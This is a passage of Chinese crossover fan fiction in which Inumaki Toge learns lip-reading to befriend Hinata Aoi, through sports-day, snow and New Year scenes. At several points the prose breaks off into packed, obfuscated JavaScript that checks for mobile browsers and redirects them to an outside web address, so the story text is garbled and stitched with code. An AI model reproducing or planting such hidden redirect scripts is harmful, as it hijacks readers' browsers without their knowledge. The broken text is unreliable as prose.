植野直花看过狗卷棘的纸条后才明白日向葵的意图。二人全程看着日向葵是怎么以抱小孩的姿势,把“容易害羞的人”硬生生地抱到终点。 被抱着的西宫还在一边羞涩一边开心的傻笑就被日向葵放下来,四个人一起过了终点线。 等在终点的裁判欲言又止,止又欲言,还是不知道该说点什么,核实狗卷棘和植野直花的纸条后爽朗地笑了。 她半蹲下身子揉了揉西宫的脑袋:“傻孩子,接着比赛吧。”被人卖了都不知道。 观望的那个女生也是一拍脑门懊悔不已。 真的是自家班主任的女儿没跑了……真阴险、啊不,真精啊! 只有西宫硝子还恍惚着,听不到声音不知道发生了什么。 嗷,冲线了啊? 没事儿,日向同学抱我了,抱了一路! 距离近到她好像都能听到日向同学的心跳! 其实她什么也没听到,只是感受到了自己的心跳,西宫脸上的笑止都止不住,还不忘拿着自己的纸条迈着小短腿去找水杯。 狗卷棘对着自己的老师还是有几分欺骗的愧疚在。 他眼疾手快拿过裁判的水杯,日向葵见状也一手拽住西宫的衣领让她停步转身,一手接过狗卷棘递来的水杯,塞到了她的怀里。 野生水杯从天而降,西宫更高兴了。 挥挥手告别,向着最后一个任务点跑去。 “啊?” 眼皮子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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当初灰原雄对他讲“日向葵不受咒力的影响,可以尝试跟她说话”的时候,他当然心动。 这件事情他之前就已经知晓一些,只是没有定论。 当初他跟日向葵在转角相撞的那一下,被日向葵拉住胳膊的那一下,他身上所有的咒力都消失了。 一直被桎梏的喉咙也一阵轻松,感觉张口就能飙个高音。 从小困扰他到大的咒言术就这么不见了,他第一次遇到奇迹,想再感受一次,所以才会一遍遍地“离家出走”,找到日向葵想跟她有肢体接触,试验那一次的奇迹是不是真实的。 现在回想他都觉得那一刻的自己好像活在梦里。 但之后都没有做到成功跟日向葵接触,还牵连日向葵被诅咒师绑架。 他不想因为自己的缘故毁了耀眼的阳光,打算远离,却又被灰原雄给予了希望。 不能再像刚见面的时候自私地骚扰日向葵,狗卷棘思来想去,决定平等地与日向葵对话——只要他能懂得唇语,就能跟日向葵真正地聊天了。 他已经偷偷在家练习了很久,天天盯着爸爸妈妈的嘴巴看,把他们看得总是怀疑自己的嘴没擦干净,牙上沾了菜叶。 他知道自己是给点阳光就想灿烂,不可能忍住永远不跟日向葵说话的,所以他借着这个机会来告诉日向葵自己将要做些什么。 今天是10月23日,运动会的第二天,也是他的生日。 当然不会不要脸到跟日向葵索取这个当生日礼物,但他希望这一天能给到自己好运加持。 并且他在笔记本上准备的第二句话是: 「如果不拒绝,就当你默认了。」 把厚脸皮进行到底。 两句话,不过间隔三秒的时间来给日向葵考虑。 狗卷棘确定日向葵看明白第二句话后,就立刻合上笔记本,自以为从容地逃跑了。 日向葵:…… 该跑的是她才对吧? 狗卷棘总能在她好不容易适应的时候给出新的惊吓。 ……到底要做到什么地步,才会收手? 日向葵握住自己冰凉的掌心回到位置坐下。 23. 新生篇 输掉比赛的母亲没有等到来自女儿的安慰,狐疑地多次路过女儿的房间,透过门缝往里看。 日向葵端正的背影映入她的眼帘,正在执笔认真地书写作业。 不正常,这很不正常。 日向女士还是自信自己在女儿心中的排位应该是高于完成作业的。 不知是“路过”的第几次,日向野子突然发现坐在书桌前的女儿消失了,刚想推门进入一探究竟,就被人从里面大大敞开了门。 日向葵如同用了闪现一样出现在门口,默不作声地看着日向野子。 “啊!↓→→→↗?” 日向女士从惊吓中回神,挤出一抹尴尬的微笑:“怎么了小葵,找妈妈有事吗?” 不应该是你找我有事吗? 日向葵没有戳穿心虚的某人,松开门把手走回课桌,背对着日向野子的脸上是恶作剧成功的惬意。 她故意走到房门后用左手开的门。 正常用右手开门的话半个身子会暴露在门边,告诉门外的人“我正在开门”。 但她用左手把门快速一带,就能营造出突然出现在门口的假象。 逗弄了一下日向女士的确让她的心情变好了不少,接下来就是让她精心准备的礼物闪亮登场。 “哇!!!!好好看~”日向野子还保持着少女般的心性,轻轻捧着日向葵手捏的粘土小人欢呼雀跃。 没加上疯狂跺脚已经算她有定力了。 “这是捏的妈妈对吧?是我对吧?” 长发飘飘的Q版粘土小人手抚发丝,右手抱着几本书,身上穿的是印着樱花图案的连衣裙搭配米色的披肩——是日向女士最喜欢的一套常服。 日向葵摆手表示“要不然呢?”,又拿出一个小物件往粘土小人的脸上一放。 是一个尽显文质彬彬的栗色细框眼镜,磁吸到小人眼睛的位置。 “哇!!!!!”日向女士彻底被征服了,张开怀抱用双臂夹着日向葵的脑袋猛亲几口,手里还虚握着粘土小人舍不得放下。 欲扬先抑这一套是被日向葵玩明白了。 “那妈妈就不打扰你了~早点休息~” 日向女士拿着粘土小人转圈圈离开了日向葵的卧室,回到自己的房间慢慢欣赏。 脑袋里还在挑选该买什么款式的防尘罩,出门还不忘记帮忙把门带上。 “咔哒”一声,房门紧闭。 日向葵盯着门板看了良久,确定不会有人折返后爬到床上把自己包裹进被子里。 那个粘土小人是她在家养伤无聊时学的,送给妈妈的这个也是准备了很久,正好借着这个机会送出去。 在原先的计划里没有这么多前戏,只是照常使用精美的包装包裹,趁日向女士不注意偷偷放进她的卧室,等到她吃完饭后回到卧室自然就发现了。 但是日向葵是真的忘了这回事。 她被狗卷棘的宣言扰乱了思绪,在日向女士发觉她不对劲几次偷窥后才想起来有个礼物还没送。 就突发奇想用这种方式把粘土小人送到日向女士的手上。 现在又是她一个人的emo时间了。 有时候日向葵真的想直白地告诉日向女士自己不想交朋友,但如果日向女士问起她原因,她肯定会语塞,不知道该解释点什么。 她的七岁是一道分水岭,过去的记忆好像是早已被下架的电影的影评,无法考据,只留下当时的感悟在深深困扰着她。 等到毕业就好了。日向葵只能这么对自己说。 她无法做到斩断过去,就只能把所有新鲜的阻挡在门外——这已然成为她保护自己的手段。 但她没意识到的是,狗卷棘每近一步,她都会退一步,退路是有尽头的,总有一天她会被困在角落,直面自己需要改变的事实。 …… 只在家中练习唇语是无法满足狗卷棘这个卷王的。 他在班级内部物色到了新的练习对象——石田将也。 起因是西宫硝子正在躲着石田将也,被石田逮到了也不愿意用笔记本跟他进行交流。 按理说石田将也一个欠债还钱的不应该追求什么友善沟通,直接把钱塞进西宫手里就可以了。 但是他看到西宫硝子上一秒跟同班同学有说有笑,下一秒就害怕他到往同学的身后藏,他就心中晦涩,嘴里泛苦,回到班级后都要失神好久。 狗卷棘原本没在意石田将也时不时奇怪的状态,但他的西宫老师也在跟他分享自己的苦恼,表示不知道该怎么跟石田正常相处,狗卷这才特别观察了一下石田。 看到石田应该也有想跟西宫硝子好好相处的意思,狗卷棘打算诱惑石田跟自己学手语。 他不保证学会之后石田和西宫的关系能有多大的改善,但是只要开始学手语那石田就有了沉没成本。 这一定能更推着他去找西宫交流,不至于像之前一样只要西宫往别人身后一躲,他就失魂落魄地放弃沟通主动离开。 “啊?我为什么要学啊?”石田将也虽是这么说的,其实早就心动。 狗卷棘也不跟他客气: 「因为我想通过你学唇语,你如果不跟我学手语的话会很吃亏的。」 “……我为什么要帮你学唇语啊?听着好……”恶心。 石田将也对西宫说出过这个伤人的词汇,之后就在后悔,现在想到这个词都会下意识避开不说出口。 狗卷棘看透了石田只长了一张倔嘴,写道: 「石田君也无法保证时时刻刻能捂住嘴巴不让我看到吧?」 石田:“……” ……这是在威胁吧? 在日向葵面前乖顺的像只小猫,怎么到他这里就变成笑面虎了? 这场不容拒绝的交易石田最终还是给自己洗脑“不学白不学”,哼唧一声答应了下来。 之后的每一天他们都像是来自两个国家的交换生一样,狗卷棘对着石田打手语,石田对着狗卷棘摆口型,双方都学的很是头疼,但都没有放弃。 时间来到了冬季的某一天,从清晨起就有零星的雪点在空气中游荡。 上学路上的学生们无一不在期待着一场大雪的来临。 如愿以偿,在第一堂课的上课铃声打响之后,冬天的第一场鹅毛大雪正式降临。 大块的雪粒被天空毫不吝啬地抛洒而下,先是轻盈地在空中旋转飘荡,而后如下雨般连绵不绝,把大地覆盖上厚厚的一层,像是一件温暖的冬衣,又像是洁白的海洋。 时间缓慢流逝,到第三节课的时候降雪停止。 被云层遮掩的太阳露出锋芒,但只是给雪地镀上了一层浅金色的光,更显雪地的圣洁,也更吸引同学们去留下专属自己的痕迹。 校工们已经拿着工具到操场上了。不需要多久白雪就会被堆在一旁,从银装素裹的童话世界回归现实,为人类让出通行的道路。 正在上课的英语老师也看出学生们的心思早就跑了,自己掐着时间上了半节课,剩下的时间放学生们出去自由活动。 “我是放你们出去帮忙的,不要去给人添麻烦哦!” “好——” 同学们一边穿外套一边应声,有火力旺的在老师放人的那一刻就冲出了教室,虚扶着把手跑下楼梯去往雪地里钻。 操场上的雪已经积到很厚了。 几位男生话都没说,当着校工的面跳进雪堆里,双臂和双腿来回滑动,爬起来还拿留下的印子比身高。 “去去去!”领队的校工戴着编织的手套,一手拄在铁锹的把手顶部,一手向外挥了挥,把孩子们赶到不会被清理的区域。 他口吻嫌弃:“真是群调皮的,就知道玩。”长有细纹的眼角却在弯着,看这群学生像是在看孩童时期的自己。 其他校工都知道他的性子,笑着调侃几句,继续干活了。 狗卷棘套好了羽绒服,却还在教室门口徘徊。 已经出去逛了一圈的石田回来穿个衣服,想一会儿打雪仗的时候当做防护。 看见狗卷后攥过雪的冰凉手掌往他脖颈上一贴,冻得狗卷缩着脖子赶紧侧步躲开。 “哈哈哈,傻站着干什么呢?” 通过手语和唇语的学习,二人之间已经建立起了互相折磨的深厚革命友谊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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跟当时班级的男生们一起,不是象征力量的雪仗,而是更受女孩青睐的堆雪人。 不同的是他是被堆的“雪人”。 那时的一切还历历在目—— “好麻烦啊,堆雪人要准备什么围巾、胡萝卜、纽扣和树枝。”男生随意地合上最新款的手机。 旁边想要攀附他的小弟应和:“是啊,这种变装游戏就是麻烦,只有那些女人们爱玩~” 明明小小年纪,身上是潮牌,手里是最便捷的通讯工具,嘴上讲的却是最刻板的偏见。 脑袋里好像装着从千年古墓中刚挖掘出来的,最封建那人的思想。 男生听着小弟的言论歪嘴一笑,双手枕在脑后,一转头对上狗卷的方向。 “啊,这不是有个现成的‘雪人’嘛。” 他用下巴指了指狗卷棘:“堆这个‘雪人’呗~” 然后狗卷就被几个男生合力埋进了雪堆里,只有脑袋被露在外面。 他银白的发丝,冷色调的眼眸,都与那冰天雪地融合,能清楚感受到寒意一丝一丝地从毛孔钻入身体,直至侵占每一个细胞,夺走他的知觉。 带头的男生玩得很是畅快,他不喜狗卷的发色,也不在乎狗卷的生死,直到欣赏尽兴了才让同伴收手,把狗卷从雪堆里解放出来。 狗卷以为自此以后自己会讨厌下雪天,其实没有。 令人作呕的只有人而已。 狗卷棘抖了抖粘上雪粒的睫毛,呼出的温热气体穿透口罩与冷空气接触,而后迅速凝结成一团水雾慢慢扩散消失。 他没去问日向葵要不要玩雪不是担心自己一不小心踩到日向葵的雷区,而是害怕日向葵有过跟自己相似的经历。 一个会让她讨厌下雪天的理由。 他不想去勾起日向葵心底的某种负面情绪。 只是有这个可能性,他都不会践行。 24. 新生篇 狗卷棘只身在雪地中漫步。 把下半张脸缩在立起的衣领中,双手插在上衣兜里取暖,轻盈的步伐落到绵绵的雪上显得格外有力道,“咯吱咯吱”的声响后雪就被压成了一整片,留下鞋底的纹路。 不听话的雪粒沙沙作响地往他脚踝处钻,等待回教室后升温融化,浸湿鞋袜的边缘。 狗卷棘没有多喜欢玩雪,他走到操场上也不是为了玩,而是想寻找植野直花。 植野跟日向葵同窗近六载,他不相信以植野的脾性这么多年来一次都没有在雪天邀请过日向葵。 在教室里提问必然会引起日向葵的注意,所以他往雪地里走了一遭。 寻找植野直花非常简单。 她今天穿着很张扬,是比其他所有人都要鲜艳的红色外套,像在雪打的枝梢上绽放的一朵梅花,在操场上是独一份的亮眼。 女生们待在一起正商量着想要堆出一个巨型雪人。 半节课的时间不够成年人摸鱼,但足够让孩子们展现自己的奇思妙想,用白雪垒起脑海中描绘的雪人形象。 根据经验,她们选了一块不容易被阳光照射到的角落当作雪人的驻扎地,在附近开始滚雪球,只为让雪人拥有更长的寿命。 “锵锵锵锵~”植野从外套兜里摸出自己提前准备好的材料向女孩们得意地展示。 “哇,小直你怎么随身带着这些东西?好精致的装饰啊,还有胡萝卜!” 植野直花自离开教室起就没有放下来扬起的嘴角:“我看天气预报了呀~” “机会是留给有准备的人的~” 胡萝卜还是她特意从厨房里顺的,只有竖刀切下的一半,幸好被保鲜膜包裹留下的是带有尖头的那部分。 她拍了拍自己脖子上的红色围巾: “我等会儿就把这条围巾拆给雪人,我们堆的雪人一定是最漂亮的!”植野直花握紧拳头干劲儿满满。 身边女生们的情绪也都被她调动起来,开始合力搓雪球。 攒到合适的大小把雪球往雪地里一滚,晃晃悠悠地就往外跑,还没等女孩追上就抵到狗卷棘的鞋边被拦下。 植野直花扬起的嘴角放下了,嘴里哼着的歌也停下了。 “你来干嘛?” 这句话的语气是周围人都能听出来的,有点冲(chòng)了。 植野直花之前再怎么不喜欢狗卷棘也都是阴阳怪气,没这么明显地用如此嫌弃的语调说过话。 现在正是她开心的时候,高兴的情绪被放大,相对应不高兴的情绪也会被放大,对狗卷棘的不爽也算是条件反射,见到他就没有好脾气。 那她话都说出口了还能怎么办? 她这么开心,难不成还让她来道歉吗? 植野直花扭过脸有些下不来台,想着狗卷棘识相点赶紧接句话,这事儿就翻篇了。 可狗卷棘作为一个“哑巴”,再怎么接话这中间的停顿也足够让人尴尬。 “那个……” 川井未希左看右看出来打圆场,用手背扶了一下眼镜: “狗卷君也想来堆雪人吗?” 啊!她怎么说了这么句话! 拒绝吧,拒绝好吗? 她真的是不知道该说些什么缓和气氛,冰天雪地中憋出一身热汗。 真让小直和狗卷君一起堆雪人的话……那画面她简直不敢想象! 快乐的自由活动秒变强制性的公司团建。不跟狗卷棘互动也不好,跟狗卷搭话也得先看看植野的脸色。 川井未希是个场面人,可这两碗水她着实端不平。 狗卷棘看出了川井的窘迫,不理解地歪着头,脑袋顶上长出一个问号。 他没有深想,按照自己的想法婉拒了川井未希的邀请,只拿出便携本给植野直花写了句话。 「我有问题想问一下你。」 川井挪到植野后半个身位,借用自己度数正合适的镜片看清了狗卷棘写的话。 她松了口气。 私聊好啊,反正别波及到她就行。 ……最好堆雪人的道具给她们留下来。 但是植野直花觉得不好。 “问什么啊?”她转过身继续团自己的雪球,不想搭理狗卷却又不能完全不理他,简直要憋屈“死”植野。 赶紧走吧,他们之间没有什么可聊的! 狗卷棘这才发现,现在不是能跟植野直花进行友好沟通的时间。 植野好像是耐心欠费,不想搭理他,如果平平淡淡地直接问「为什么日向她不喜欢下雪?」一定会被植野随便找点说辞糊弄过去。 但拖延着事后再来问也没有什么意义…… 狗卷棘脑筋一转,想着植野的这种情绪化也不是不能利用,有一种能让她说出答案的方法——演她。 他抻了抻脖子,眉头一皱,双目控诉,下笔飞快,力气要划破纸张: 「你怎么不叫日向出来玩?」 植野直花看见这句话表情凝滞,动作一顿: “哈??” 不是?这人是在抨击她吗?? 上次她在骗狗卷棘说小葵喜欢雪的时候,石田将也不是说实话戳破她了吗? 记性这么差的??? “……你怎么不叫小葵出来玩啊?”植野直花没控制住翻了个白眼,没好气地反问。 狗卷棘瞪圆眼睛表示惊讶植野怎么能说出这句话,义正言辞写下: 「你是她最好的朋友,不应该你叫吗?」 植野:?? 请问呢??? 植野直花一下被狗卷棘问懵了。 “她”? “最好”? 植野:“……” ……没错,她是! 但是这句话怎么能被狗卷棘问出来? 好奇怪啊!! 谁和谁是最好,谁和谁是第二好……根本不像是狗卷会讨论的话题。 难不成这个狗卷·白毛刺猬·冷脸冰雕·破坏她和小葵友谊的池面小三·棘,一直在暗自嫉妒她跟日向葵认识更久? 觉得她跟日向葵更要好? 不应该啊…… 此时此刻的植野直花觉得狗卷棘ooc了,不像本人。 狗卷棘达到想要的效果,耍偏剑捅破了植野对他的防备,乘胜追击: 「你是不是邀请过被拒绝了啊?」 配合他摆出来的死鱼眼,对植野造成暴击伤害。 “哪有?!我出来前根本没跟小葵说过话!” 当着这么多女生的面,植野还是要面子的。 她怎么可能被小葵拒绝,她可是小葵最好的朋友! 此时的植野直花已经被狗卷勾得上头了: “你不知道的,小葵不喜欢玩雪!” 她叫嚷出声,已经全然忘记了狗卷应该知道这件事,默认他是个什么也不清楚的小白。 「怎么可能不喜欢?」 狗卷棘满脸不信,像是“玩雪”这项游戏好玩程度的坚定拥护者,人生排首位的荣誉徽章都是“玩过自出生起的每一场雪”,天天在网络上为“雪”打call,质问每一个不爱玩雪的没品的人。 “她就是不喜欢啊!”植野站起来跟狗卷吵。 明明只有她一个人能发出声音,却依然打得火热。 发觉讲不通,她咽下过多分泌的口水,转换说法:“我这样说吧!” “小葵她不喜欢玩雪,她也不讨厌……她就是不想玩。就像有的人虽然不对花生过敏,但也不爱吃花生。” “你懂吗?” 植野语重心长地给狗卷解释,像播撒知识辛勤耕耘的老教授一般。 “一二年级的时候我也叫过她,她没兴趣的!” 狗卷棘听着植野真诚的讲解,表示不信。 他觉得这个吃花生的例子说不通。 不对花生过敏的人多少都会吃过几次花生,完全不吃花生不就证明了这个人讨厌吃花生吗? 日向葵如果只是不爱玩,那偶尔玩一玩也能迁就,但是现在是根本不玩,不就是讨厌吗? “她就是,她就是……怕冷。对,怕冷!”植野直花紧急调动自己的小脑瓜,想出了这个答案开始新一轮的解释。 “你看她今天就裹得里三层外三层的,她就是怕冷所以才不玩雪的!” 哪个小学生有像日向葵穿那么厚的,大冷天光腿穿短裤短裙的比比皆是。 植野觉得自己聪明极了,平时就是没动脑筋,现在随便一转就分析出日向葵为什么不玩雪了。 她回忆起自己某一次玩完雪后不知怎么想的,把手套上粘着的雪花怼到日向葵面前给她展示。 “真的很好玩的,不试试吗~” 日向葵并没有什么不良反应,只是不动声色退后半步,避开手套上散发的寒气。 这就是怕冷的表现吧? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380297|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个答案应该能让狗卷棘信服了吧~ 「我不信。」狗卷棘不依不饶。 「日向身体素质那么好,为什么会怕冷?」 “对啊?为什么呢?” 旁边有女孩看这场单方面的辩论赛看进去了,没忍住问出了声。 植野直花疑似失去所有的力气和手段。 说成这样都不信吗? 身体好的人就不能怕冷了吗?! 她好像是面对着一群拿着参考答案,说参考答案有问题的犟种学生。 说有问题又说不出来哪里有问题,就呆呆地看着她找她要答案……她又不觉得答案是错的,为什么要找她要答案?! 这可是参考答案,就算是写的“略”也得给我尊重一下好吗?! “……小葵她锻炼身体有没有可能就是因为身体素质不好?” “因为从小身体素质比较差,所以一直在锻炼。体育变好了,但是怕冷的这一点还是没改变……” 植野胡诌的快把自己说服了,越说越觉得有道理。 可千万别再往下问了,多的她也不知道。 谁能像狗卷棘这么刨根问底的? 有能耐去问本人啊?! 植野直花越想越气,想一个眼刀刀“死”狗卷棘。 川井未希一直关注着植野和狗卷的战况,见势不对赶紧拉住植野的胳膊: “别聊了小直,堆雪人吧。再不堆时间来不及了。” 要是下课了小直发现自己没说过狗卷也没堆成雪人……算了不想了,太可怕了。 狗卷棘也反应过来要不出更详细的答案了,也耽误了她们这么长时间,主动问需不需要帮忙。 川井未希:“……” 你不来就是最好的帮忙。 她摆了摆手,让狗卷去忙自己的,她们自己可以的。 日向葵站在窗前看着狗卷离开女生堆。 几层楼的距离她听不清楚狗卷跟植野说了什么,但不用想也知道大概率跟她有关系。 狗卷离开教室前都没跟她告别,在门口还犹豫了好久,应该是想叫上她吧。 她也不是故意无视。狗卷没开口叫她,她也不好提前解释什么。 就是怕冷而已。 她现在站在窗户面前看着狗卷棘也是想看看他能不能赶在上课之前早点回来,好跟她换个座位。 教室里是很暖和的,但寒气钻过窗缝向屋子里挤,靠近窗户的那半边身子感觉阴森森的,像是有什么不干净的东西扒在窗户外往教室里看。 以前她没有同桌,自己就可以把位置挪走。可现在多了个狗卷在身边,还是要询问一下他的意见。 七岁那年她没等来那场期待的大雪,之后倒是年复一年见了很多回。 但即使等来了她也觉得自己不会因此而讨厌下雪。 毕竟令人厌恨的只有人而已。 她只是从那时起变得更加畏惧寒冷了…… “铃——” 下课铃打响,意犹未尽的同学们打算再在雪地里待一个课间,卡点回教室上课。 狗卷却在听到铃声后就走回了教室。 他手心向上抬着什么,又在教室门口踱步打转。 日向葵亲眼看着狗卷走进教学楼,现在又透过门上的窗户看到他银白的发顶,无奈地过去拉开了门。 狗卷听到动静讶然与日向葵对视,手心捧着的雪人正缓慢地向下滴水。 严格意义上来讲狗卷手里的算不上雪人,只不过是一大一小两个雪球叠在一起。 他想着要不要做个小雪人带给日向葵看看,做好了才发觉自己没有装饰品,但还是舍不得扔掉,带上了楼。 日向葵看着狗卷被冻得泛红的指尖。 比起握着一把雪,握着一把正在融化的雪是更加寒冷的。雪会抢夺周遭的温度,惩罚每一个把自己带回温暖中的人。 她没提换座位的事情。 「把它放到窗户外边吧。」 「好~」 狗卷棘拉开窗户把“雪人”摆到窗外,也不分正反,挑了一个圆润的角度对着教室。 他暗自笑眯了眼睛,想着植野还是靠谱的,日向葵果然不讨厌雪。 但是这窗边好冷,只打开一下狗卷棘就觉得自己回到了操场。 他转身:「我们换个位置吧。」 日向葵:…… 「下节课再换吧,谢谢。」 25. 新生篇 年关将至,为时两周的寒假也将如期而至。 狗卷棘的唇语从秋天摸索着学到冬天,还特意去书店翻阅了专门的书籍,但总是感觉差了点意思。 害怕自己真到对日向葵展示的时候发生失误,对不上女孩想表达的思想,令她失望。 可是技能都是越用越熟练,什么程度算是真正的娴熟也没有个衡量标准。 他又难耐得焦急,这么一直练下去也得不到正向反馈,早晚会把自己折磨疯。 狗卷棘压下找日向葵对话的心思,强忍到年节。 大扫除的时候心不在焉地纠结怎么迈出第一步,看红白歌会的时候紧盯着主持人的嘴巴看口型,恨不得钻进电视里把挡嘴的麦克风一巴掌拍开。 狗卷夫妇看着自家儿子全神贯注地盯着电视机,还以为他也学别人开始追星了。 那明星还不算很大的腕儿,只能在红白歌会上有个几秒钟的露脸,不认真看就一定会错过的那种。 结果等到结束都没等到什么能让狗卷棘特别激动的,他紧张兮兮的神态倒是一直摆着,看累了还知道揉揉眼睛放松一下。 “哈哈,不知道的还以为棘在舞台上有个什么节目呢~”狗卷爸爸笑着调侃道,把妻子也逗得开怀,背上挨了狗卷妈妈轻柔的一下拍打。 “说什么呢?哈哈哈……” 狗卷妈妈笑得泪花都溢出来,心里却已经知道了狗卷棘如此表现的原因。 知子莫若母。狗卷棘没跟她明说过,但是她也发现了儿子在学唇语,还是为了那个女孩。 那个被自家儿子连累绑架,事后让自家儿子费尽心思想要去交朋友的女孩。 还不是一般的朋友,看狗卷这架势得成为绝世挚友才会罢休。 灰原雄没对狗卷夫妇说过日向葵的能力,狗卷棘听灰原说这是个秘密后也嘴严的很,没对任何人提过这件事情,连亲生父母也没有。 所以狗卷妈妈并不知道狗卷棘又害得女孩被绑架,又是被女孩的能力救下了才逃过一死。 但是这不妨碍狗卷妈妈认定日向葵是她们家的福星。 日向葵在自己不知道的情况下早就帮了她们家很大的忙了。 灰原雄也是因为日向葵的原因,才能那么快地带着同伴赶到现场救下两个孩子。 尤其是现在狗卷棘日渐开朗的模样,更是让狗卷妈妈对她感谢不已。 狗卷妈妈不是没有担心过。 狗卷棘对着女孩的态度像是拽紧了一根救命稻草,不懂得松弛有度,不愿意放手,也不想花费心思在寻找别的草身上,只拽着这一根。 大人们都懂得“鸡蛋不能放在同一个篮子里”的道理,风险很高,很有可能会竹篮打水一场空。 但是孩子们就算知道了也不太会运用,尤其是狗卷棘在这方面格外的纯粹、珍惜,认准了就埋头去追求自己想要的,可能要到伤痕累累了才会放手。 幸好两个都是很好的孩子。 狗卷妈妈在家长日的时候没少去观察日向葵,一眼就被她的淡然与恬静俘获了。 这种孩子看起来就有原则,做什么事都有条理,狗卷棘要是真跟这女孩起了什么摩擦估计就是狗卷的错,做什么惹到人家不开心了还不自知。 狗卷妈妈越看日向葵越喜欢,她当时怀狗卷的时候还以为肚子里是个女儿,生狗卷的时候也伤了身体,没办法凑出个儿女双全。 如今看到这么可爱精致的女孩真的很难不心动。 而且孩子们的友谊就是这样的,小打小闹都很正常。无论是开心的愉悦的,还是尴尬的悲伤的,都是珍贵的回忆,狗卷棘也总算是收获了正常的童年。 儿子开心就好,想做什么就去做吧,及时行乐才不枉这一场相遇。 第二天狗卷一家人迎着寒风去神社参拜。 一路上的人很多,穿着和服的一家人也不在少数,人挤人反而生出几分热意,汇聚在雕梁画栋的神社更有了和平安康的年味儿。 排队到狗卷一家,往木箱中丢入铜钱,双手合十许下新年心愿。 钱币敲击在木头上发出沉闷的声响,狗卷爸爸祈祷着升职加薪,为家人提供更好的物质基础;狗卷妈妈祈祷着家人身体健康,孩子能快乐成长;狗卷棘也在祈愿爸爸妈妈万事如意,同时也向神明祷告“读唇语”的顺利进行。 新一年的压力分了一部分到神明大人的身上,大家的脚步都轻快不少。 下一步是抽神签,狗卷家平常没有这个爱好,只有在过年的时候才来拜一拜,每人抽一张,讨个吉利。 用泉水仔细净手,凭感觉抽签,狗卷棘今年格外虔诚,他把这次的签文当做神明大人对他愿望的回应。 如果抽到凶签得赶紧绑到树枝上,把这一年的霉运留在寺庙里净化。 狗卷一家很幸运,爸爸和妈妈都是中吉,狗卷则抽到了大吉。 以前他心中没有明确的所求,抽到这么好的签文也没多么喜悦,父母看到他抽到好的签文,反而比他要更高兴。 今年他是真的想要神明显灵,保佑他一切顺遂。 拿到大吉狗卷棘心中振奋,又特意去求了一个御守,想要幸运加倍,贪图神明能对他进行额外的关照。 返程的路上狗卷紧握着整齐折叠的签文和御守,决定寒假结束就去找日向葵说话。 两周的假期学生们过得意犹未尽,只有狗卷想要调快时钟,早点跟日向葵见上面。 开学第一天,狗卷棘一想到今天自己将要干什么就忍不住地紧张,一整天都在安抚自己跳速过快的心脏。 植野直花在狗卷旁边与川井聊天,斜眼看了一下狗卷,放大音量,装作不经意地透露出自己参拜神社的时候偶然碰到了在等人的日向葵。 女孩穿着淡粉色打底的和服,腰间束着颜色更深一些的同色系腰带,和服的下摆和衣袖点缀着朵朵艳丽的迎春花,正好与她的闪着细碎流光的眸色相呼应。 乌黑的柔顺长发被不知哪双巧手编盘在脑后,头发上由大到小排列簪着的是一朵朵娇艳欲滴的粉桔梗。 白皙稚嫩的脸庞不需要任何妆容就能撑起这套繁简得当的服饰,全身上下透着精细,是被人悉心浇灌的美丽。 日向葵脚下踩着木屐,前后稍稍错开地站着眺望天空,面容平淡似水更衬托出几分盛大下的恬静。 俏皮的颜色穿在她身上却像是哪家的贵女出街巡游。 也穿着和服来参拜的植野直花完全没有在对比下黯然失色的嫉妒,只在惊呼着太好看了,她见过日向葵无数套私服,但都不及这套正装的五分惊艳。 当时只恨自己没有手机,不能偷拍几张留存下来慢慢欣赏。 听到植野说的神社名字跟自己去的是同一家,狗卷棘不由得有些羡慕植野,下一秒却记起日向葵怕冷,担忧她当时穿得够不够,有没有做好保暖。 转念一想参拜的事早就过去了,而且神明能分给他的幸运也是有限的,可以贪心但不能贪太多,保证今天的计划成功是最重要的! 熬到了放学,狗卷棘没有像往常一样提前去训练营,躁动地在教室里等待打完排球回来拿书包的日向葵。 他也坐不住,起身帮忙做值日,把做值日的同学尽早地送走了,还无心写作业,眼睛盯着秒针转,右手隔着布料按在兜里的签文和御守上求庇佑,继续等着日向葵回来。 日向葵没打多久排球, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15380298|168439||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正抱着排球在体育馆的墙边像个雕塑一样低头站着。 她被狗卷棘塞了张纸条,知道他在教室里等她。 这也是狗卷计划的一环。 如果没塞这张纸条,日向葵可以当做没发现狗卷今天的反常偷偷离开。但是纸条到手后日向葵如果走了就是逃兵,就是放了人家鸽子。 这张纸条就像是怪盗基德精准发送的预告函,收到了就是个烫手山芋,知道有事情要发生还必须得应战。 伸头是一刀,缩头也是一刀,不会是今天,也会是明天。 